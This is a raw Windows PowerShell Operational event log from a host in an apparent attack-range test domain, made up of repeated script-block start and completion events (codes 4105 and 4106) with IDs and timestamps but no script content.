LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031567
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031562
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031561
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031539
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031538
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031537
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031536
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031520
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031519
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
